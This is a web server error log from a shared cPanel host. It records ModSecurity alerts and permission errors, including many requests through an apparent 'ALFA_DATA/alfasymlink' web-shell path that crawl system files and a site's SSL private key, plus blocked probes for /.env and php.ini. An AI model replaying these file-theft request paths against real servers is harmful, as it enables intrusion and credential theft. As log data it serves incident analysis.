[Sat Oct 24 09:18:07.599109 2026] [security2:error] [pid 2635677:tid 2635677] [client 185.191.171.4:64390] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/dev/char/189:0/bNumInterfaces"] [unique_id "atywD4Wurp-t0SwAQgRp3QAAAAQ"]
[Sat Oct 24 09:18:07.599154 2026] [security2:error] [pid 2635677:tid 2635677] [client 185.191.171.4:64390] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/dev/char/189:0/bNumInterfaces"] [unique_id "atywD4Wurp-t0SwAQgRp3QAAAAQ"]
[Sat Oct 24 09:18:26.167482 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 23.21.179.120:59047] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:18:30.204066 2026] [ssl:error] [pid 2625330:tid 2625330] (70014)End of file found: [client 34.197.28.78:1984] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:18:38.100910 2026] [core:crit] [pid 2635684:tid 2635684] (13)Permission denied: [client 71.6.242.162:27324] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 09:18:38.171868 2026] [ssl:error] [pid 2609012:tid 2609012] (70014)End of file found: [client 34.234.206.30:14813] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:18:46.178662 2026] [ssl:error] [pid 2635676:tid 2635676] (70014)End of file found: [client 3.226.106.93:2994] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:19:02.169428 2026] [ssl:error] [pid 2609012:tid 2609012] (70014)End of file found: [client 184.73.239.35:40397] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:19:02.921716 2026] [core:error] [pid 2625272:tid 2625272] (13)Permission denied: [client 185.191.171.14:35488] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/UDPv6/objects
[Sat Oct 24 09:19:05.452150 2026] [authz_core:error] [pid 2627273:tid 2627273] [client 143.244.54.31:44125] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sat Oct 24 09:19:10.144983 2026] [ssl:error] [pid 2627309:tid 2627309] (70014)End of file found: [client 98.82.40.168:48743] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:19:21.141124 2026] [core:error] [pid 2607843:tid 2607843] (13)Permission denied: [client 85.208.96.207:50866] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ip_fib_alias/slabs_cpu_partial
[Sat Oct 24 09:19:23.014962 2026] [ssl:error] [pid 2635677:tid 2635677] (70014)End of file found: [client 185.191.171.13:56930] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:19:30.305235 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 18.215.24.66:9012] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:19:38.174185 2026] [ssl:error] [pid 2627309:tid 2627309] (5)Input/output error: [client 34.195.248.30:50138] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:19:46.196912 2026] [ssl:error] [pid 2635676:tid 2635676] (70014)End of file found: [client 52.207.47.227:46870] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:20:03.267917 2026] [security2:error] [pid 2607843:tid 2607843] [client 149.102.251.199:50557] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/.env"] [unique_id "atywgwSwRuPA-FjBma7J1gAAAAI"]
[Sat Oct 24 09:20:03.268216 2026] [security2:error] [pid 2607843:tid 2607843] [client 149.102.251.199:50557] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/.env"] [unique_id "atywgwSwRuPA-FjBma7J1gAAAAI"]
[Sat Oct 24 09:20:03.269052 2026] [security2:error] [pid 2607843:tid 2607843] [client 149.102.251.199:50557] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "atywgwSwRuPA-FjBma7J1gAAAAI"]
[Sat Oct 24 09:20:06.313736 2026] [ssl:error] [pid 2635677:tid 2635677] (70014)End of file found: [client 52.45.92.83:8866] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:20:14.139018 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 54.91.122.193:61836] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:20:22.180978 2026] [ssl:error] [pid 2635678:tid 2635678] (70014)End of file found: [client 50.19.79.213:41662] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:20:27.218878 2026] [core:error] [pid 2607843:tid 2607843] (13)Permission denied: [client 185.191.171.11:13398] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/uhci_urb_priv/red_zone
[Sat Oct 24 09:20:30.165990 2026] [ssl:error] [pid 2625330:tid 2625330] (70014)End of file found: [client 34.206.193.60:12183] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:20:38.170643 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 52.3.102.51:7409] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:20:41.214120 2026] [ssl:error] [pid 2635678:tid 2635678] (70014)End of file found: [client 85.208.96.212:40304] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:20:58.140090 2026] [ssl:error] [pid 2609012:tid 2609012] (70014)End of file found: [client 34.236.41.241:25761] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:21:06.200811 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 3.229.95.193:46752] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:21:22.140152 2026] [ssl:error] [pid 2609012:tid 2609012] (70014)End of file found: [client 98.82.66.172:36464] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:21:26.178295 2026] [ssl:error] [pid 2635676:tid 2635676] (70014)End of file found: [client 35.171.117.160:14862] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:21:30.133766 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 18.208.11.93:45281] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:21:33.635296 2026] [core:error] [pid 2635684:tid 2635684] (13)Permission denied: [client 85.208.96.201:38544] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/shmem_inode_cache/destroy_by_rcu
[Sat Oct 24 09:21:34.264251 2026] [ssl:error] [pid 2627309:tid 2627309] (70014)End of file found: [client 44.208.193.63:51570] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:21:48.712601 2026] [security2:error] [pid 2627273:tid 2627273] [client 185.191.171.15:22942] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".key"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/ssl/keys/a5623_e182f_7d08c976d6581dbdfab100eb3d984e6a.key"] [unique_id "atyw7BdOhHN-18IxgZKrewAAAAY"]
[Sat Oct 24 09:21:48.713093 2026] [security2:error] [pid 2627273:tid 2627273] [client 185.191.171.15:22942] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/ssl/keys/a5623_e182f_7d08c976d6581dbdfab100eb3d984e6a.key"] [unique_id "atyw7BdOhHN-18IxgZKrewAAAAY"]
[Sat Oct 24 09:21:48.713515 2026] [security2:error] [pid 2627273:tid 2627273] [client 185.191.171.15:22942] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/ssl/keys/a5623_e182f_7d08c976d6581dbdfab100eb3d984e6a.key"] [unique_id "atyw7BdOhHN-18IxgZKrewAAAAY"]
[Sat Oct 24 09:21:50.160096 2026] [ssl:error] [pid 2609012:tid 2609012] (70014)End of file found: [client 52.44.229.124:2288] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:22:14.164501 2026] [ssl:error] [pid 2625272:tid 2625272] (70014)End of file found: [client 54.166.104.83:1535] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:22:34.155399 2026] [ssl:error] [pid 2625330:tid 2625330] (70014)End of file found: [client 52.4.238.8:33313] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:22:42.113062 2026] [core:crit] [pid 2625272:tid 2625272] (13)Permission denied: [client 71.6.242.97:38554] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 09:22:42.153406 2026] [ssl:error] [pid 2635678:tid 2635678] (70014)End of file found: [client 34.195.248.30:19746] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:22:46.163343 2026] [ssl:error] [pid 2625330:tid 2625330] (70014)End of file found: [client 54.157.84.74:9415] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:22:46.726472 2026] [core:crit] [pid 2635677:tid 2635677] (13)Permission denied: [client 45.79.130.122:35404] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 09:22:54.297941 2026] [ssl:error] [pid 2625272:tid 2625272] (70014)End of file found: [client 34.230.124.21:45551] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:22:54.298170 2026] [security2:error] [pid 2625272:tid 2625272] [client 34.230.124.21:45551] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory12/node0/memory8/uevent"] [unique_id "atyxLoY2rJh4KkI7ZZhkgwAAAAM"]
[Sat Oct 24 09:22:54.298197 2026] [security2:error] [pid 2625272:tid 2625272] [client 34.230.124.21:45551] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory12/node0/memory8/uevent"] [unique_id "atyxLoY2rJh4KkI7ZZhkgwAAAAM"]
[Sat Oct 24 09:23:02.169286 2026] [ssl:error] [pid 2625330:tid 2625330] (70014)End of file found: [client 3.225.9.97:64118] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:23:11.126348 2026] [core:error] [pid 2635684:tid 2635684] (13)Permission denied: [client 85.208.96.208:14558] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ext4_groupinfo_4k/reclaim_account
[Sat Oct 24 09:23:18.267505 2026] [ssl:error] [pid 2627309:tid 2627309] (5)Input/output error: [client 34.203.111.15:51421] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:23:26.230985 2026] [ssl:error] [pid 2635677:tid 2635677] (70014)End of file found: [client 44.205.74.196:19084] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:23:30.290634 2026] [ssl:error] [pid 2635684:tid 2635684] (70014)End of file found: [client 34.194.226.74:52277] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:23:34.158633 2026] [ssl:error] [pid 2635678:tid 2635678] (70014)End of file found: [client 100.28.118.16:3419] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:23:46.267593 2026] [core:crit] [pid 2625330:tid 2625330] (13)Permission denied: [client 71.6.238.144:28568] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 09:23:57.805098 2026] [security2:error] [pid 2635676:tid 2635676] [client 43.130.3.120:37292] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/Content/images/sellos_de_confianza.webp"] [unique_id "atyxbWyV-56kZb5LgxTnyAAAAAE"]
[Sat Oct 24 09:24:06.136596 2026] [ssl:error] [pid 2635678:tid 2635678] (70014)End of file found: [client 34.204.150.196:47002] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:24:10.136870 2026] [ssl:error] [pid 2625330:tid 2625330] (70014)End of file found: [client 54.167.32.123:56603] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:24:18.147042 2026] [ssl:error] [pid 2609012:tid 2609012] (5)Input/output error: [client 3.213.85.234:26561] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:24:26.138709 2026] [ssl:error] [pid 2635676:tid 2635676] (70014)End of file found: [client 98.82.40.168:6111] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:24:30.151574 2026] [ssl:error] [pid 2625272:tid 2625272] (70014)End of file found: [client 18.205.213.231:38274] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:24:40.221005 2026] [core:error] [pid 2627273:tid 2627273] (13)Permission denied: [client 85.208.96.199:19620] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/xfrm_dst_cache/slabs_cpu_partial
[Sat Oct 24 09:24:50.136383 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 44.223.115.10:32925] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:24:54.406176 2026] [ssl:error] [pid 2625272:tid 2625272] (70014)End of file found: [client 44.213.202.136:42063] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:24:58.156604 2026] [ssl:error] [pid 2635684:tid 2635684] (70014)End of file found: [client 23.21.179.120:45824] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:25:02.132768 2026] [core:error] [pid 2625330:tid 2625330] (13)Permission denied: [client 52.204.253.129:29808] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:07/subsystem/devices/LNXSYBUS:00/ACPI0010:00/LNXCPU:01/physical_node/node0/memory14/node0/cpu1/subsystem/uevent
[Sat Oct 24 09:25:10.164330 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 52.203.152.231:53182] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:25:14.134372 2026] [ssl:error] [pid 2609012:tid 2609012] (70014)End of file found: [client 34.205.163.103:64986] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:25:18.150903 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 34.233.114.237:36599] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:25:20.836893 2026] [ssl:error] [pid 2635676:tid 2635676] (70014)End of file found: [client 185.191.171.11:60790] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:25:22.139791 2026] [ssl:error] [pid 2625272:tid 2625272] (70014)End of file found: [client 107.20.224.184:23220] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:25:26.297349 2026] [ssl:error] [pid 2635677:tid 2635677] (5)Input/output error: [client 18.213.240.226:4569] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:25:30.246894 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 54.147.80.137:49890] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:25:38.129769 2026] [ssl:error] [pid 2635684:tid 2635684] (5)Input/output error: [client 98.83.177.42:23486] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:25:46.157528 2026] [ssl:error] [pid 2635677:tid 2635677] (70014)End of file found: [client 54.225.98.148:46867] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:26:02.247234 2026] [ssl:error] [pid 2627309:tid 2627309] (70014)End of file found: [client 34.231.156.59:37846] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:26:13.130209 2026] [core:error] [pid 2627273:tid 2627273] (13)Permission denied: [client 85.208.96.197:60058] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/btree_node/alloc_calls
[Sat Oct 24 09:26:14.260405 2026] [ssl:error] [pid 2635677:tid 2635677] (70014)End of file found: [client 50.17.193.48:60235] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:26:21.519154 2026] [authz_core:error] [pid 2635678:tid 2635678] [client 8.216.16.156:24948] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sat Oct 24 09:26:26.242269 2026] [core:error] [pid 2625330:tid 2625330] (13)Permission denied: [client 23.23.99.55:60716] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:00/physical_node/firmware_node/physical_node/subsystem/drivers/ehci-pci/bind
[Sat Oct 24 09:26:27.203788 2026] [authz_core:error] [pid 2635676:tid 2635676] [client 8.216.16.156:58086] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sat Oct 24 09:26:42.321128 2026] [ssl:error] [pid 2635677:tid 2635677] (5)Input/output error: [client 54.221.203.24:19162] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:26:46.139009 2026] [ssl:error] [pid 2625272:tid 2625272] (70014)End of file found: [client 44.193.102.198:2213] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:26:50.184956 2026] [ssl:error] [pid 2627309:tid 2627309] (70014)End of file found: [client 50.16.248.61:24609] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:26:54.260822 2026] [core:error] [pid 2625330:tid 2625330] (13)Permission denied: [client 54.243.63.52:62658] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pnp0/00:01/firmware_node/subsystem/devices/device:05/wakeup/wakeup5/device/physical_node/driver/0000:00:03.0/subsystem/drivers/serial/uevent
[Sat Oct 24 09:26:58.192786 2026] [ssl:error] [pid 2635678:tid 2635678] (70014)End of file found: [client 44.194.139.149:33223] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:27:01.522620 2026] [core:error] [pid 2635676:tid 2635676] (13)Permission denied: [client 85.208.96.196:38756] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-224/slabs
[Sat Oct 24 09:27:06.147210 2026] [ssl:error] [pid 2635684:tid 2635684] (70014)End of file found: [client 44.205.74.196:39499] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:27:10.204981 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 34.193.2.57:28718] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:27:14.309824 2026] [ssl:error] [pid 2635677:tid 2635677] (70014)End of file found: [client 107.20.224.184:22111] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:27:30.148647 2026] [ssl:error] [pid 2609012:tid 2609012] (70014)End of file found: [client 54.198.33.233:6836] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:27:30.546186 2026] [core:error] [pid 2635684:tid 2635684] (13)Permission denied: [client 16.216.88.130:49152] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/scripts/setup_systemd_timer_for_plugins
[Sat Oct 24 09:27:34.186057 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 34.227.234.246:10581] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:27:38.285824 2026] [ssl:error] [pid 2635677:tid 2635677] (70014)End of file found: [client 34.227.234.246:4004] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:27:50.163750 2026] [ssl:error] [pid 2625330:tid 2625330] (70014)End of file found: [client 34.231.118.144:24410] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:27:54.151146 2026] [ssl:error] [pid 2635676:tid 2635676] (5)Input/output error: [client 3.229.2.217:15592] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:28:06.267633 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 185.191.171.5:16230] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:28:22.152385 2026] [ssl:error] [pid 2609012:tid 2609012] (70014)End of file found: [client 100.29.155.89:8949] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:28:34.135125 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 184.72.84.154:13703] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:28:43.578164 2026] [core:error] [pid 2627309:tid 2627309] (13)Permission denied: [client 185.191.171.11:30280] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ip_dst_cache/partial
[Sat Oct 24 09:28:54.155940 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 44.193.102.198:26945] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:28:56.168471 2026] [autoindex:error] [pid 2625272:tid 2625272] (13)Permission denied: [client 144.76.19.24:48456] AH01275: Can't open directory for index: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/5/ns/
[Sat Oct 24 09:28:58.147708 2026] [ssl:error] [pid 2627309:tid 2627309] (70014)End of file found: [client 54.156.248.117:39440] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:29:18.126443 2026] [ssl:error] [pid 2635676:tid 2635676] (70014)End of file found: [client 54.163.136.244:23189] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:29:22.342506 2026] [core:error] [pid 2627309:tid 2627309] (13)Permission denied: [client 185.191.171.15:12304] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dnotify_mark/red_zone
[Sat Oct 24 09:29:30.138334 2026] [ssl:error] [pid 2635677:tid 2635677] (70014)End of file found: [client 54.156.124.2:43268] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:29:38.255399 2026] [core:error] [pid 2627273:tid 2627273] (13)Permission denied: [client 54.84.102.81:49955] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:18/subsystem/devices/device:05/physical_node/subsystem/drivers/pcieport/bind
[Sat Oct 24 09:30:02.264206 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 34.227.234.246:38260] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:30:10.159636 2026] [ssl:error] [pid 2625272:tid 2625272] (70014)End of file found: [client 52.202.52.82:33744] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:30:18.274075 2026] [ssl:error] [pid 2635684:tid 2635684] (70014)End of file found: [client 52.21.62.139:57958] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:30:20.044248 2026] [ssl:error] [pid 2635677:tid 2635677] (70014)End of file found: [client 185.191.171.12:33168] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:30:22.186443 2026] [ssl:error] [pid 2609012:tid 2609012] (70014)End of file found: [client 184.73.167.217:42507] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:30:26.193522 2026] [ssl:error] [pid 2627309:tid 2627309] (70014)End of file found: [client 34.225.24.180:22306] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:30:38.262874 2026] [core:error] [pid 2625330:tid 2625330] (13)Permission denied: [client 34.205.163.103:37078] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:05/subsystem/devices/device:02/wakeup/wakeup0/device/subsystem/drivers/pvpanic/unbind
[Sat Oct 24 09:30:42.155960 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 34.231.45.47:54395] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:30:50.276677 2026] [ssl:error] [pid 2609012:tid 2609012] (70014)End of file found: [client 52.1.106.130:56702] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:30:54.137752 2026] [ssl:error] [pid 2627309:tid 2627309] (70014)End of file found: [client 18.205.91.101:13459] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:31:02.147341 2026] [ssl:error] [pid 2635677:tid 2635677] (70014)End of file found: [client 44.223.115.10:60248] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:31:14.198056 2026] [ssl:error] [pid 2609012:tid 2609012] (70014)End of file found: [client 44.206.65.8:30466] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:31:22.174686 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 54.162.69.192:35024] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:31:23.517626 2026] [core:error] [pid 2635678:tid 2635678] (13)Permission denied: [client 85.208.96.203:49784] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-1k/slabs
[Sat Oct 24 09:31:34.298256 2026] [ssl:error] [pid 2609012:tid 2609012] (70014)End of file found: [client 18.233.24.238:20153] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:31:38.142650 2026] [ssl:error] [pid 2627309:tid 2627309] (22)Invalid argument: [client 107.20.25.33:29707] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:31:42.188928 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 34.206.249.188:46726] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:31:46.121132 2026] [ssl:error] [pid 2635677:tid 2635677] (70014)End of file found: [client 184.73.195.18:47658] AH02013: coalesce failed to read from data bucket
